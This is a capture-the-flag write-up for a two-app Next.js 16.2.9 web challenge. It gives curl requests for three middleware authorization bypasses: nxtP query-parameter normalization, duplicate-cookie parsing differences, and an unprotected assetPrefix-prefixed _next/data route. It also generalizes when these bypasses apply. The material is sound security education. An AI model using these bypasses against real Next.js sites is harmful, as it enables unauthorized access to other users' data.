$ cat writeup.md…
$ cat writeup.md…
sekai2026
Next.js 16.2.9 challenge with two apps. The first half is recovered by abusing a nxtP query normalization differential to view Miku's access card, then a duplicate-cookie parser differential to pass middleware while SSR reads Miku's ticket. The second half is recovered from the second app by requesting /cdn/_next/data/<buildId>/index.json, where assetPrefix strips /cdn for rendering but the middleware matcher does not protect the prefixed data route.
The challenge provided two Next.js instances and source code:
https://migurimental.chals.sekai.teamhttps://migurimental-2.chals.sekai.teamBoth applications use Next.js 16.2.9 with Pages Router middleware. The flag is split in two halves:
backstage1/pages/backroom.js returns the first half if ticket_uuid belongs to user id 1 (miku).backstage2/pages/index.js returns the second half, but middleware only allows requests whose x-real-migu header equals 1.3.3.7.Middleware protects /access-card and /backroom:
if (request.nextUrl.pathname === '/access-card') { const checkedId = request.nextUrl.searchParams.get('id') if (checkedId !== session.sub) return deny(request) } if (request.nextUrl.pathname === '/backroom') { const expectedTicket = session.ticketUuid const middlewareTicket = request.cookies.get('ticket_uuid')?.value || '' if (!expectedTicket || middlewareTicket !== expectedTicket) return deny(request) }
The SSR page /access-card trusts query.id and generates a QR code containing that user's ticketUuid:
const user = await findById(query.id) const qrDataUrl = await QRCode.toDataURL(user.ticketUuid, ...)
Middleware protects / by checking a header set by nginx:
const remoteAddress = request.headers.get('x-real-migu') || '' if (remoteAddress !== '1.3.3.7') redirect('/rejected')
Directly spoofing x-real-migu fails because nginx overwrites it.
Registering gives a regular session JWT and ticket_uuid cookie. Example from the solve:
Set-Cookie: session=<regular_session>; Path=/; HttpOnly; SameSite=Lax Set-Cookie: ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18; Path=/; HttpOnly; SameSite=Lax Location: /access-card?id=547
nxtPidNext.js has a query normalization differential: a query parameter named nxtPid is normalized to id for middleware routing checks, while getServerSideProps still receives the original id query.
So this request makes middleware see our own id, but SSR renders user id 1:
curl -sS 'https://migurimental.chals.sekai.team/access-card?id=1&nxtPid=547' \ -H 'Cookie: session=<regular_session>; ticket_uuid=<regular_ticket>'
The response is Miku's access card (username: miku) with a QR code. Decoding the QR gives Miku's ticket UUID:
0464e4c2-2700-4e36-8401-597482a41ac7
/backroomThe middleware and SSR layer parse duplicate cookies differently:
request.cookies.get('ticket_uuid') uses the last duplicate cookie.req.cookies.ticket_uuid uses the first duplicate cookie.Send Miku's ticket first and our legitimate ticket last:
curl -sS 'https://migurimental.chals.sekai.team/backroom' \ -H 'Cookie: ticket_uuid=0464e4c2-2700-4e36-8401-597482a41ac7; session=<regular_session>; ticket_uuid=dcc8a1d8-a4b6-4f3c-af84-69dd5b7ede18'
Middleware validates the last ticket against our JWT, then SSR reads the first ticket and returns the first flag half:
SEKAI{REDACTED
assetPrefix + _next/dataThe second app sets:
module.exports = { assetPrefix: '/cdn', }
The client middleware manifest shows the middleware matcher protects only the unprefixed data route:
self.__MIDDLEWARE_MATCHERS = [ { "regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?(?:\\/(\\/?index|\\/?index\\.json|\\/?index(?:\\.rsc|\\.segments\\/.+\\.segment\\.rsc)))?[\\/#\\?]?$", "originalSource": "/" } ]
But the server strips assetPrefix before resolving the page. Requesting the prefixed data route bypasses middleware and still renders /:
curl -sS 'https://migurimental-2.chals.sekai.team/cdn/_next/data/nRVcVzPJ7U21AcMTs21fY/index.json'
This returns the second flag half:
REDACTED}
x-middleware-subrequest recursion header did not work on Next.js 16.2.9.x-real-migu: 1.3.3.7 spoofing was overwritten by nginx.id=<own>&id=1 passed middleware in some orderings but SSR treated query.id as an array and returned 404._next/data/<buildId>/... routes were still covered by middleware.Use these ideas when:
assetPrefix is configured and _next/data SSR routes exist.request.nextUrl.searchParams, while SSR reads query from getServerSideProps.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar